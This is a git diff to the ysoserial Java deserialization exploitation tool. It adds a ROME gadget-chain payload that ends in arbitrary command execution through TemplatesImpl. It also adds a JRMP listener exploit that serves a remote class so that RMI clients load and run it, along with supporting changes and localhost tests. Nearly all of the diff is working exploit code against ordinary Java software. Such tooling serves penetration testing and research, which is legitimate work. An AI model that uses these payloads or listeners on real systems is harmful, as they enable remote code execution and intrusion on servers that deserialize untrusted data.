diff --git a/pom.xml b/pom.xml index 40e8006..6bea82d 100644 --- a/pom.xml +++ b/pom.xml @@ -233,6 +233,11 @@ xalan 2.7.2 + + rome + rome + 1.0 + diff --git a/src/main/java/ysoserial/exploit/JRMPClassLoadingListener.java b/src/main/java/ysoserial/exploit/JRMPClassLoadingListener.java new file mode 100644 index 0000000..f6437ec --- /dev/null +++ b/src/main/java/ysoserial/exploit/JRMPClassLoadingListener.java @@ -0,0 +1,50 @@ +package ysoserial.exploit; + + + +import java.net.URL; + + +/** + * JRMP listener triggering RMI remote classloading + * + * Opens up an JRMP listener that will deliver a remote classpath class to the calling client. + * + * Mostly CVE-2013-1537 (presumably, does not state details) with the difference that you don't need + * access to an RMI socket when you can deliver {@link ysoserial.payloads.JRMPClient}. + * + * This only works if + * - the remote end is running with a security manager + * - java.rmi.server.useCodebaseOnly=false (default until 7u21) + * - the remote has the proper permissions to remotely load the class (mostly URLPermission) + * + * and, of course, the payload class is then run under the security manager with a remote codebase + * so either the policy needs to allow whatever you want to do in the payload or you need to combine + * with a security manager bypass exploit (wouldn't be the first time). + * + * @author mbechler + * + */ +public class JRMPClassLoadingListener { + + public static final void main ( final String[] args ) { + + if ( args.length < 3 ) { + System.err.println(JRMPClassLoadingListener.class.getName() + " "); + System.exit(-1); + return; + } + + try { + int port = Integer.parseInt(args[ 0 ]); + System.err.println("* Opening JRMP listener on " + port); + JRMPListener c = new JRMPListener(port, args[2], new URL(args[1])); + c.run(); + } + catch ( Exception e ) { + System.err.println("Listener error"); + e.printStackTrace(System.err); + } + } + +} diff --git a/src/main/java/ysoserial/exploit/JRMPClient.java b/src/main/java/ysoserial/exploit/JRMPClient.java index 81345bd..5206cd0 100644 --- a/src/main/java/ysoserial/exploit/JRMPClient.java +++ b/src/main/java/ysoserial/exploit/JRMPClient.java @@ -96,6 +96,14 @@ public class JRMPClient { } static final class MarshalOutputStream extends ObjectOutputStream { + + + private URL sendUrl; + + public MarshalOutputStream (OutputStream out, URL u) throws IOException { + super(out); + this.sendUrl = u; + } MarshalOutputStream ( OutputStream out ) throws IOException { super(out); @@ -103,12 +111,15 @@ public class JRMPClient { @Override protected void annotateClass ( Class cl ) throws IOException { - if ( ! ( cl.getClassLoader() instanceof URLClassLoader ) ) { + if ( this.sendUrl != null ) { + writeObject(this.sendUrl.toString()); + } else if ( ! ( cl.getClassLoader() instanceof URLClassLoader ) ) { writeObject(null); } else { URL[] us = ( (URLClassLoader) cl.getClassLoader() ).getURLs(); String cb = ""; + for ( URL u : us ) { cb += u.toString(); } diff --git a/src/main/java/ysoserial/exploit/JRMPListener.java b/src/main/java/ysoserial/exploit/JRMPListener.java index ecd73a7..e5c034c 100644 --- a/src/main/java/ysoserial/exploit/JRMPListener.java +++ b/src/main/java/ysoserial/exploit/JRMPListener.java @@ -11,10 +11,12 @@ import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.io.ObjectStreamClass; import java.io.OutputStream; +import java.io.Serializable; import java.net.InetSocketAddress; import java.net.ServerSocket; import java.net.Socket; import java.net.SocketException; +import java.net.URL; import java.rmi.MarshalException; import java.rmi.server.ObjID; import java.rmi.server.UID; @@ -22,6 +24,9 @@ import java.rmi.server.UID; import javax.management.BadAttributeValueExpException; import javax.net.ServerSocketFactory; +import javassist.ClassClassPath; +import javassist.ClassPool; +import javassist.CtClass; import sun.rmi.transport.TransportConstants; import ysoserial.payloads.ObjectPayload.Utils; import ysoserial.payloads.util.Reflections; @@ -47,6 +52,7 @@ public class JRMPListener implements Runnable { private Object waitLock = new Object(); private boolean exit; private boolean hadConnection; + private URL classpathUrl; public JRMPListener ( int port, Object payloadObject ) throws NumberFormatException, IOException { @@ -54,6 +60,13 @@ public class JRMPListener implements Runnable { this.payloadObject = payloadObject; this.ss = ServerSocketFactory.getDefault().createServerSocket(this.port); } + + public JRMPListener (int port, String className, URL classpathUrl) throws IOException { + this.port = port; + this.payloadObject = makeDummyObject(className); + this.classpathUrl = classpathUrl; + this.ss = ServerSocketFactory.getDefault().createServerSocket(this.port); + } public boolean waitFor ( int i ) { @@ -246,7 +259,7 @@ public class JRMPListener implements Runnable { System.err.println("Sending return with payload"); out.writeByte(TransportConstants.Return);// transport op - ObjectOutputStream oos = new JRMPClient.MarshalOutputStream(out); + ObjectOutputStream oos = new JRMPClient.MarshalOutputStream(out, this.classpathUrl); oos.writeByte(TransportConstants.ExceptionalReturn); new UID().write(oos); @@ -264,4 +277,24 @@ public class JRMPListener implements Runnable { } } + protected static Object makeDummyObject (String className) { + try { + ClassLoader isolation = new ClassLoader() {}; + ClassPool cp = new ClassPool(); + cp.insertClassPath(new ClassClassPath(Dummy.class)); + CtClass clazz = cp.get(Dummy.class.getName()); + clazz.setName(className); + return clazz.toClass(isolation).newInstance(); + } + catch ( Exception e ) { + e.printStackTrace(); + return new byte[0]; + } + } + + + public static class Dummy implements Serializable { + private static final long serialVersionUID = 1L; + + } } diff --git a/src/main/java/ysoserial/payloads/JRMPClient.java b/src/main/java/ysoserial/payloads/JRMPClient.java index e224542..d39c950 100644 --- a/src/main/java/ysoserial/payloads/JRMPClient.java +++ b/src/main/java/ysoserial/payloads/JRMPClient.java @@ -48,7 +48,7 @@ import ysoserial.payloads.util.PayloadRunner; @SuppressWarnings ( { "restriction" } ) -@PayloadTest( harness = "ysoserial.payloads.JRMPReverseConnectTest") +@PayloadTest( harness = "ysoserial.payloads.JRMPReverseConnectSMTest") public class JRMPClient extends PayloadRunner implements ObjectPayload { public Registry getObject ( final String command ) throws Exception { diff --git a/src/main/java/ysoserial/payloads/ROME.java b/src/main/java/ysoserial/payloads/ROME.java new file mode 100644 index 0000000..274e35a --- /dev/null +++ b/src/main/java/ysoserial/payloads/ROME.java @@ -0,0 +1,45 @@ +package ysoserial.payloads; + + +import javax.xml.transform.Templates; + +import com.sun.syndication.feed.impl.ObjectBean; + +import ysoserial.payloads.annotation.Dependencies; +import ysoserial.payloads.util.Gadgets; +import ysoserial.payloads.util.PayloadRunner; + +/** + * + * TemplatesImpl.getOutputProperties() + * NativeMethodAccessorImpl.invoke0(Method, Object, Object[]) + * NativeMethodAccessorImpl.invoke(Object, Object[]) + * DelegatingMethodAccessorImpl.invoke(Object, Object[]) + * Method.invoke(Object, Object...) + * ToStringBean.toString(String) + * ToStringBean.toString() + * ObjectBean.toString() + * EqualsBean.beanHashCode() + * ObjectBean.hashCode() + * HashMap.hash(Object) + * HashMap.readObject(ObjectInputStream) + * + * @author mbechler + * + */ +@Dependencies("rome:rome:1.0") +public class ROME implements ObjectPayload { + + public Object getObject ( String command ) throws Exception { + Object o = Gadgets.createTemplatesImpl(command); + ObjectBean delegate = new ObjectBean(Templates.class, o); + ObjectBean root = new ObjectBean(ObjectBean.class, delegate); + return Gadgets.makeMap(root, root); + } + + + public static void main ( final String[] args ) throws Exception { + PayloadRunner.run(ROME.class, args); + } + +} diff --git a/src/main/java/ysoserial/payloads/util/Gadgets.java b/src/main/java/ysoserial/payloads/util/Gadgets.java index c21ba45..079a12e 100644 --- a/src/main/java/ysoserial/payloads/util/Gadgets.java +++ b/src/main/java/ysoserial/payloads/util/Gadgets.java @@ -36,7 +36,9 @@ public class Gadgets { static { // special case for using TemplatesImpl gadgets with a SecurityManager enabled System.setProperty(DESERIALIZE_TRANSLET, "true"); - + + // for RMI remote loading + System.setProperty("java.rmi.server.useCodebaseOnly", "false"); } public static final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler"; diff --git a/src/test/java/ysoserial/payloads/JRMPReverseConnectSMTest.java b/src/test/java/ysoserial/payloads/JRMPReverseConnectSMTest.java new file mode 100644 index 0000000..fb60bbc --- /dev/null +++ b/src/test/java/ysoserial/payloads/JRMPReverseConnectSMTest.java @@ -0,0 +1,64 @@ +package ysoserial.payloads; + + +import java.net.URL; +import java.util.concurrent.Callable; + +import ysoserial.WrappedTest; +import ysoserial.exploit.JRMPListener; + + +/** + * @author mbechler + * + */ +public class JRMPReverseConnectSMTest extends RemoteClassLoadingTest implements WrappedTest { + + private int jrmpPort; + + + public JRMPReverseConnectSMTest (String command) { + super(command); + // some payloads cannot specify the port + jrmpPort = 1099; + } + + + + + + /** + * {@inheritDoc} + * + * @see ysoserial.payloads.RemoteClassLoadingTest#createCallable(java.util.concurrent.Callable) + */ + @Override + public Callable createCallable ( final Callable innerCallable ) { + return super.createCallable(new Callable() { + public Object call () throws Exception { + JRMPListener l = new JRMPListener(jrmpPort, getExploitClassName(), new URL("http", "localhost", getHTTPPort(), "/")); + Thread t = new Thread(l, "JRMP listener"); + try { + t.start(); + Object res = innerCallable.call(); + l.waitFor(1000); + return res; + } + finally { + l.close(); + t.interrupt(); + t.join(); + } + } + }); + } + + @Override + public String getPayloadArgs () { + return "localhost:" + jrmpPort; + } + + + + +} diff --git a/src/test/java/ysoserial/payloads/RemoteClassLoadingTest.java b/src/test/java/ysoserial/payloads/RemoteClassLoadingTest.java index 221cccc..0e83b62 100644 --- a/src/test/java/ysoserial/payloads/RemoteClassLoadingTest.java +++ b/src/test/java/ysoserial/payloads/RemoteClassLoadingTest.java @@ -3,6 +3,7 @@ package ysoserial.payloads; import java.io.ByteArrayInputStream; import java.io.IOException; +import java.io.Serializable; import java.util.Random; import java.util.concurrent.Callable; @@ -35,11 +36,17 @@ public class RemoteClassLoadingTest implements WrappedTest { return String.format("http://localhost:%d/", this.port) + ":" + this.className; } + public int getHTTPPort () { + return this.port; + } public Callable createCallable ( Callable innerCallable ) { return new RemoteClassLoadingTestCallable(this.port, makePayloadClass(), innerCallable); } + public String getExploitClassName () { + return this.className; + } protected byte[] makePayloadClass () { try { @@ -60,6 +67,7 @@ public class RemoteClassLoadingTest implements WrappedTest { private Callable innerCallable; private byte[] data; + private Object waitLock = new Object(); public RemoteClassLoadingTestCallable ( int port, byte[] data, Callable innerCallable ) { @@ -68,12 +76,22 @@ public class RemoteClassLoadingTest implements WrappedTest { this.innerCallable = innerCallable; } + + + public void waitFor() throws InterruptedException { + synchronized ( this.waitLock ) { + this.waitLock.wait(1000); + } + } public Object call () throws Exception { try { setup(); - return this.innerCallable.call(); + Object res = this.innerCallable.call(); + waitFor(); + Thread.sleep(1000); + return res; } finally { cleanup(); @@ -93,12 +111,21 @@ public class RemoteClassLoadingTest implements WrappedTest { @Override public Response serve ( IHTTPSession sess ) { - return newFixedLengthResponse(Status.OK, "application/octet-stream", new ByteArrayInputStream(data), data.length); + System.out.println("Serving " + sess.getUri()); + Response response = newFixedLengthResponse(Status.OK, "application/octet-stream", new ByteArrayInputStream(data), data.length); + synchronized ( this.waitLock ) { + this.waitLock.notify(); + } + return response; } } - public static class Exploit { + + + public static class Exploit implements Serializable { + + private static final long serialVersionUID = 1L; } }